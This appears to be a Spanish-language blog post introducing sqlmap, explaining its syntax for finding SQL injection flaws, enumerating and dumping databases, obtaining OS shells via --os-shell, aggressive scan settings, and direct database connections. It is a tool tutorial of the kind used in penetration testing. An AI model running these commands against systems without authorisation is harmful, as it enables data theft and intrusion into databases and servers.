Resultado de imagen para sqlmap logo

Sqlmap es una de las plataformas más importantes y más usadas en la actualidad para hackear. Como la mayoría de plataformas que recomiendo son opensource, gratis, se actualizan reciententemente (cuando escribí esto su ultima actualización había sido hace solo 2 días).

Como su nombre y su logo claramente lo indican esta herramienta sirve sobretodo para explotar inyecciones de SQL y es muy muy poderosa. Entre otras cosas puede:

  1. Extraer información (incluyendo todas las bases de datos)
  2. Trabajar con get y post
  3. Tiene un scanner para encontrar las vulnerabilidades
  4. Generar shells
  5. Funciona con burp con una extension SQLiPY
  6. Y muchos etc.

La sintaxis básica es sencilla:

#GET
$ python sqlmap.py -u [url] -p [parametros] [opciones] 
#por ejemplo
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\
#Post
$ python sqlmap.py -r [file] -p [parametros] [opciones] 
#la logica normal es
# --dbs para el nombre de las bases de datos (ignorando lo default como information_schema)
# luego -D [nombre de la base de datos] --tables para ver las tablas
#luego -D [BD] -T [nombre de la tabla] --columns
# por ultimo -D [BD] -T [Tabla] -C columnas,separadasporcomas --dump

Más información de la sintaxis puede verse aquí pero esto est muy importante, porque Sqlmap puede ser muy agresivo para clientes que están en producción (y si quieres q te cachen tirar la aplicación siempre será la forma más fácil… ja)

--level=LEVEL       Level of tests to perform (1-5, default 1)
--risk=RISK         Risk of tests to perform (1-3, default 1)
--dbms=             tipo de base de datos 
--prefix
-- suffix 
--keep-alive       para que vaya más ràpido
--threads          [1-10]
--os-cmd           para shells
--os-shell         para shells
--batch            Es automatico y sin interacción nuestra. 

Ejemplo super agresivo
--level=5 --risk=3 --keep-alive --batch

es muy importante checar TODOS los parametros tanto del post como del get.

Si pones un * en el archivo usando -r puedes espeficiar un parametro por ejemplo
date:12/12/12* por ejemplo va a escanear eso.
Es muy importante que no copies el ‘ cuando pases el request ja…

Resultado de imagen para sql injection gif funny

Resultado de imagen para sql injection gif funny

 

Te puedes conectar con sqlmap directamente a la base de datos

sqlmap -d mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
kali% sqlmap -d  mysql://root:'password'@ip.ip.ip.ip:3306/db_201